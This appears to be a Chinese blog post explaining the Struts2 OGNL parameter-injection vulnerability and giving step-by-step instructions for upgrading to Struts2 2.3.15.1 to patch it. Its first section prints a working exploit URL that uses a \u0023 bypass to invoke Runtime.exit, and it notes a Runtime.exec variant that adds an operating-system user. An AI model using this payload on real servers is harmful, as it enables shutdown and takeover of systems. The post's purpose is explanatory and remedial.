`
HWL_SZ
  • 浏览: 53702 次
  • 性别: Icon_minigender_1
  • 来自: 深圳
社区版块
存档分类
最新评论

struct2漏洞及升级

阅读更多

一、Struct2漏洞原理[转]

Struts2的核心是使用的webwork框架,处理 action时通过调用底层的getter/setter方法来处理http

的参数。它将每个http参数声明为一个ONGL语句。当我们提交一个http参数:

?user.address.city=Bishkek&user['favoriteDrink']=kumys

ONGL将它转换为:

action.getUser().getAddress().setCity("Bishkek") ,action.getUser().setFavoriteDrink("kumys")

 

这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用ValueStack.setValue()。为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参

数名中出现“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻击者就可以绕过保护,

修改保护Java方式执行的值。

 

此处代码有破坏性,请在测试环境执行,严禁用此种方法进行恶意攻击

?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime

@getRuntime()))=1

转义后是这样:

?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))

&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1

 

OGNL处理时最终的结果就是:java.lang.Runtime.getRuntime().exit(1);  //关闭程序,即将web程序

关闭类似的可以执行java.lang.Runtime.getRuntime().exec("net user 用户名 密码 /add");//增加操

作系统用户在有权限的情况下能成功(在URL中用%20替换空格,%2F替换/),只要有权限就可以

执行任何DOS命令

 

二、升级structs2,修补漏洞

1、替换jar包
  删除的包有:
  commons-lang-2.2.jar
  ognl-2.6.11.jar
  struts2-codebehind-plugin-2.0.11.1.jar
  struts2-core-2.0.11.1.jar
  struts2-jasperreports-plugin-2.0.11.1.jar
  struts2-spring-plugin-2.0.11.1.jar
  xwork-2.0.4.jar

 

  新增的包有:

  commons-lang-2.4.jar

  commons-lang3-3.1.jar
  javassist-3.11.0.GA.jar
  ognl-3.0.6.jar
  struts2-core-2.3.15.1.jar
  struts2-jasperreports-plugin-2.3.15.1.jar

  struts2-spring-plugin- 2.3.15.1.jar
  xwork-core-2.3.15.1.jar

 

二、替换代码

查找以下类

import org.apache.commons.lang.StringUtils;  

import org.apache.commons.lang.builder.ToStringBuilder;  

import org.apache.commons.lang.builder.ToStringStyle;  

import com.opensymphony.xwork2.util.TypeConversionException; 

 

分别替换为 

import org.apache.commons.lang3.StringUtils;  

import org.apache.commons.lang3.builder.ToStringBuilder;  

import org.apache.commons.lang3.builder.ToStringStyle;  

import com.opensymphony.xwork2.conversion.TypeConversionException;

 

三、修改配置文件

Web.xml
删除配置

<filter>

                   <filter-name>struts-cleanup</filter-name>

         <filter-class>org.apache.struts2.dispatcher.ActionContextCleanUp</filter-class>

</filter>

<filter-mapping>

              <filter-name>struts-cleanup</filter-name>

              <url-pattern>/*</url-pattern>

</filter-mapping>

ActionContextCleanUp2.1.3之后的版本不需要配置

修改配置

<filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>

替换为

< filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>

FilterDispatcherstruts2.0.x2.1.2的核心过滤器,StrutsPrepareAndExecuteFilter2.1.3开始代替FilterDispatcher

 

struct2.xml

1、如果在struts配置文件中有使用的redirect-action话
需要将redirect-action替换为redirectAction

 

2、新版本关闭了动态方法调用,即”action名 + 感叹号 + 方法”的访问方式被关闭。如果要打开需要在struct2.xml加入以下配置,默认打开。<constant name="struts.enable.DynamicMethodInvocation" value="true" />但建议还是不打开,毕竟暴露方法名还是有一定危险性。

 

四、修改jsp页面

1、struts2.0.11起标签不再支持EL表达式
可通过myeclipse搜索工具输入<s:*${*}进行匹配搜索逐个修改,也可通过
自己写代码进行文本替换。
建议:由于s:if标签与c:if结构相似,可以考虑使用c:if代替,降低风险。

 

2、不支持java代码
如: <s:set name="xmjbflid" value="<%=java变量名%>"/>,可用c标签替换
<c:set var="xmjbflid" value="<%= java变量名%>"/>

 

 

1
0
分享到:
评论
1 楼 leaow567 2013-12-16  
很详细,mark

相关推荐

    struts2漏洞升级

    Struts2漏洞升级是一个重要的IT安全议题,尤其对于使用Struts2框架的开发者来说,及时了解和处理这些漏洞至关重要。Struts2是一个流行的Java web应用框架,它为开发者提供了MVC(模型-视图-控制器)架构的支持。然而...

    struts2漏洞s2-045,不升级jar版本的修补方法,已验证.docx

    今天,我们将讨论如何修复 Struts2 漏洞 S2-045 而不升级 jar 版本。 漏洞概述 S2-045 漏洞是一个严重的安全漏洞,影响 Struts2 的多个版本,包括 2.3.5-2.3.31 和 2.5-2.5.102。该漏洞是由于 Struts2 中的 ...

    struts2漏洞升级jar包

    标题“struts2漏洞升级jar包”指的是针对Struts2框架的特定安全漏洞发布的修复补丁,这些补丁通常以更新的jar包形式提供。升级过程涉及替换旧的、易受攻击的jar包为新版本,以消除潜在的安全风险。 描述中提到,...

    Struts2漏洞检查工具2017版

    修复方法包括升级Struts2框架至修复版本,并确保所有上传功能都进行了适当的验证和过滤。 "Struts2漏洞检查工具2017版"的出现,为管理员和开发团队提供了方便的解决方案,能够帮助他们快速检测是否存在上述安全问题...

    Struts2漏洞利用工具-可用于检测

    然而,Struts2在过去的几年里遭遇了一系列的安全漏洞,这些漏洞可能使攻击者能够远程执行代码,从而对系统造成严重威胁。 标题提及的“Struts2漏洞利用工具”是一种用于检测Struts2框架是否存在已知安全漏洞的工具...

    struts2 漏洞利用工具.rar

    如果检测到Struts2漏洞,应立即采取补救措施,如打补丁、升级框架版本、修复受影响的应用程序代码,并监控系统日志以检测异常活动。 7. **安全审计**: 定期进行安全审计和渗透测试,以便及时发现并修复任何潜在...

    struts2漏洞升级最新包2.3.15.1

    "struts2漏洞升级最新包2.3.15.1"的出现,就是为了解决这些安全隐患。 首先,我们来了解一下Struts2漏洞的一些常见类型: 1. **CVE-2017-5638**:这是一个严重且知名的远程代码执行(RCE)漏洞,也被称为S2-045或...

    struts2.3.35漏洞升级全部JAR包

    在本文中,我们将深入探讨关于“Struts2.3.35漏洞升级全部JAR包”的主题,包括为何升级、涉及的漏洞、升级过程以及如何确认更新成功。 首先,Struts2.3.35的升级主要是为了修复已知的安全漏洞。在过去的几年里,...

    Struts2漏洞利用工具2017版

    解决方法是禁用REST插件或升级Struts2到修复此漏洞的版本。 S2-016,名为“Struts2 ExecuteAction和ResultAction插件远程代码执行漏洞”,该漏洞存在于ExecuteAction和ResultAction插件中,使得攻击者可以利用OGNL...

    Struts2最新漏洞升级2.3.32版本

    1、升级所需要的jar(见附件): freemarker-2.3.22.jar ognl-3.0.19.jar struts2-convention-plugin-2.3.32.jar struts2-core-2.3.32.jar struts2-spring-plugin-2.3.32.jar xwork-core-2.3.32.jar 2、删除...

    struts2漏洞解决

    3. **解决策略**:对于Struts2漏洞的修复,首先需要升级Struts2框架到最新稳定版,例如文件名所示的“struts-2.3.28”,这是一个较旧版本的更新,但已经包含了对已知漏洞的修复。除此之外,还需要禁用或限制使用可能...

    struts2漏洞升级.zip

    此"struts2漏洞升级.zip"压缩包包含了从Struts 2.3.12版本升级到2.3.37版本的详细过程,以及相关的jar包和Gradle配置,旨在帮助开发者修复这些漏洞。 Struts2的安全漏洞主要涉及到其核心组件,如OGNL(Object-Graph...

    【2017版】Struts2漏洞检查工具

    解决这个问题的方法通常是限制OGNL表达式的执行,或者升级到修复了该漏洞的Struts2版本。 S2-048漏洞,名为“Struts2 S2-045的变种”,是S2-045的一个变体,同样可能导致远程代码执行。尽管这个漏洞可能比S2-045更...

    Apache_Struts2漏洞(S2-045,CVE-2017-5638)

    然而,就像任何其他复杂的软件系统一样,Struts2也存在安全漏洞。其中,S2-045 和 CVE-2017-5638 是一个极其严重的问题,可能导致远程代码执行(RCE),进而让攻击者完全控制受影响的服务器。 S2-045 漏洞,官方...

    Struts2漏洞2.0.xx升级为Struts-2.5.12步骤

    然而,随着时间的推移,Struts2的早期版本暴露了一些安全漏洞,这使得系统容易受到攻击。本教程将详细解释如何将Struts2的2.0.xx或2.3.28.1版本升级到更为安全的2.5.12版本。 **1. 漏洞概述** 在Struts2的早期版本...

    2.3.15.1 版本以前 struts2漏洞利用工具 和升级到2.3.15.1版本

    本文将详细讨论这些漏洞,以及如何利用这些工具进行测试和防护,最后介绍如何将Struts2应用升级至2.3.15.1版本以消除安全隐患。 首先,Struts2漏洞中最著名的可能是S2-045(CVE-2017-5638),这是一个远程代码执行...

    Struts2漏洞利用工具

    然而,随着时间的推移,Struts2框架发现了一些安全漏洞,其中一些可能导致严重的后果,如远程代码执行(RCE)和敏感数据泄露。标题中的"Struts2漏洞利用工具"显然是一种能够针对这些漏洞进行攻击的工具。 首先,...

    关于struts2漏洞问题及解决办法

    这篇博客文章“关于struts2漏洞问题及解决办法”可能详细探讨了Struts2框架中的一些关键安全问题,以及如何通过更新、配置优化或使用安全工具来应对这些问题。 首先,Struts2最臭名昭著的漏洞是S2-045,这是一个...

    struts2漏洞检测工具

    - **升级Struts2框架**:安装最新版本的Struts2,以获得最新的安全修复。 - **修正代码**:修复检测到的漏洞,如加固输入验证,避免用户控制的输入被执行为代码。 - **应用安全配置**:根据最佳实践调整Struts2的...

    Spring架包整合struts2漏洞补丁包

    描述中提到的"spring struts2 lib包已整合最新的struts2漏洞补丁包",意味着开发者或管理员已经将Spring和Struts2的库文件进行了更新,确保这些库包含了最新的安全补丁。这一步骤对于维护一个安全的开发环境至关重要...

Global site tag (gtag.js) - Google Analytics